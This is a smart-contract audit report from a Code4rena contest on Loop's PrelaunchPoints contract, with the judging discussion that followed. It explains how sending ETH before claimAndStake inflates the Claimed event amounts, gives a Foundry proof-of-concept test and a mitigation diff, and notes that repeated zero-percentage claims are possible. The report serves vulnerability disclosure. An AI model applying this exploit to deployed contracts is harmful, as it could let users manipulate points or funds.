Staking users can emit any valued Claimed and StakedVault events, which may disrupt point calculation.

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

Users can send ETH to the contract before calling the claim function or claimAndStake, causing them to be converted to lqETH through the contract, triggering incorrect Claimed and claimAndStake events, which may allow them to earn more points.

Proof of Concept

The reasons for this issue are:

1. The _claim function converts all ETH in the contract to lqETH.
2. Users can claim tokens other than ETH multiple times. github:https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

           claimedAmount = address(this).balance;
           lpETH.deposit{value: claimedAmount}(_receiver);

Due to the lack of visibility into the specific process of point calculation, the POC can only be reflected in the anomalies of events.

POC:

1. Bob locked 1 token (other than ETH and WETH).
2. During the claim process, Bob twice sent a large amount of ETH (5e18) to the contract before calling the claimAndStake function.

3. Upon inspecting the events, it was discovered that both claimed events had a claimedAmount of 5e18.

   function testContralEvent() public {
       ERC20 DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
       prelaunchPoints.allowToken(address(DAI));
   
       address Bob = makeAddr("Bob");
   
       uint lockAmount = 100;
       vm.deal(Bob, 10e18);
       deal(address(DAI), Bob, 1);
   
       vm.startPrank(Bob);
       DAI.approve(address(prelaunchPoints), 1);
       prelaunchPoints.lock(address(DAI), 1, referral);
       assertEq(prelaunchPoints.balances(Bob, address(DAI)), 1);
       vm.warp(1);
       vm.stopPrank();
   
       prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
       vm.warp(
           prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
       );
       prelaunchPoints.convertAllETH();
   
       vm.warp(prelaunchPoints.startClaimDate() + 1);
   
       vm.startPrank(Bob);
       for (uint i = 0; i < 2; i++) {
           bytes memory path = abi.encodePacked(address(DAI), WETH);
           bytes memory data = abi.encodeWithSelector(
               prelaunchPoints.UNI_SELECTOR(),
               path,
               0,
               0,
               address(prelaunchPoints)
           );
           address(prelaunchPoints).call{value: 5e18}("");
           prelaunchPoints.claimAndStake(
               address(DAI),
               0,
               PrelaunchPoints.Exchange.UniswapV3,
               data
           );
       }
       vm.stopPrank();
   }

   Tools Used

   Manual audit,foundry

   Recommended Mitigation Steps

   Use the balance obtained from the swap as the input for the deposit.

   
   function _fillQuote(
       IERC20 _sellToken,
       uint256 _amount,
       bytes calldata _swapCallData
   -    ) internal{
   +    ) internal returns(boughtETHAmount){
       // Track our balance of the buyToken to determine how much we've bought.
   -        uint256 boughtETHAmount = address(this).balance;
   +        boughtETHAmount = address(this).balance;
       require(_sellToken.approve(exchangeProxy, _amount));
   
       (bool success, ) = payable(exchangeProxy).call{value: 0}(_swapCallData);
       if (!success) {
           revert SwapCallFailed();
       }
   
       // Use our current buyToken balance to determine how much we've bought.
       boughtETHAmount = address(this).balance - boughtETHAmount;
       emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
   }

```solidity
    function _claim(
        address _token,
        address _receiver,
        uint8 _percentage,
        Exchange _exchange,
        bytes calldata _data
    ) internal returns (uint256 claimedAmount) {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = (userStake * _percentage) / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);
            // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Assessed type

Other

[0xd4n1el]

Yes, but the Claimed event is not used to give more points, so it will not inflate user's points

[c4-judge]

koolexcrypto marked the issue as primary issue

[koolexcrypto]

@c4-sponsor

Thank you for your feedback.

Isn't claimedAmount in Claimed event used to give points for the user?

[c4-judge]

koolexcrypto changed the severity to 3 (High Risk)

[c4-judge]

koolexcrypto marked the issue as duplicate of #33

[c4-judge]

koolexcrypto marked the issue as partial-75

[0xd4n1el]

@c4-sponsor

Thank you for your feedback.

Isn't claimedAmount in Claimed event used to give points for the user?

The points are calculated by using the Locked and Withdraw events and the Claimed event is used a safeguard against tricky withdrawals, that means users that get little claimedAmounts compared to Locked minus Withdrawals get penalised. If that's not the case they just get Locked minus Withdrawals.

[koolexcrypto]

@c4-sponsor Thank you for your feedback. Isn't claimedAmount in Claimed event used to give points for the user?

The points are calculated by using the Locked and Withdraw events and the Claimed event is used a safeguard against tricky withdrawals, that means users that get little claimedAmounts compared to Locked minus Withdrawals get penalised. If that's not the case they just get Locked minus Withdrawals.

Thanks for the clarification

[c4-judge]

koolexcrypto marked the issue as partial-50

[c4-judge]

koolexcrypto marked the issue as full credit

[c4-judge]

koolexcrypto marked the issue as not a duplicate

[c4-judge]

koolexcrypto changed the severity to QA (Quality Assurance)

[c4-judge]

koolexcrypto marked the issue as grade-c

[shaflow01]

Dear judge, Thank you for your work.Hope you can take a look at my comments

Isn't the attack method used and reaction issues in this report the same as Scenario 1 in #33?I just explained it from the perspective of events.I assume that it is a copy of #33.

In addition, I also mentioned that this attack can be performed infinitely many times. Users can interact with the contract, which not checks the size of the _percentage. The token can be claimed partly by multiple times, and even set _percentage to 0 for unlimited claims. This is not mentioned in #33

github:https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L253C1-L265C57

        uint256 userClaim = userStake * _percentage / 100;
        _validateData(_token, userClaim, _exchange, _data);
        balances[msg.sender][_token] = userStake - userClaim;

        // At this point there should not be any ETH in the contract
        // Swap token to ETH
        _fillQuote(IERC20(_token), userClaim, _data);

        // Convert swapped ETH to lpETH (1 to 1 conversion)
        claimedAmount = address(this).balance;
        lpETH.deposit{value: claimedAmount}(_receiver);
    }
    emit Claimed(msg.sender, _token, claimedAmount);

Finally, I have a small doubt whether such a situation exists If users only make 50% claims before the points are distributed, and they still have 50% tokens locked in the contract, will they be punished during the points distribution? If they are to be punished, it seems unfair because their 50% tokens are indeed still locked in the contract.They may retrieve it later. If they won't be punished, then they can wait for the points to be distributed before engaging in malicious behavior.

[koolexcrypto]

Hi @shaflow01

The issue clearly focused on the events. However, since you mentioned this part

causing them to be converted to lqETH through the contract

i will consider partial credit

[c4-judge]

koolexcrypto removed the grade

[c4-judge]

This previously downgraded issue has been upgraded by koolexcrypto

[c4-judge]

This previously downgraded issue has been upgraded by koolexcrypto

[c4-judge]

koolexcrypto marked the issue as duplicate of #33

[c4-judge]

koolexcrypto marked the issue as partial-25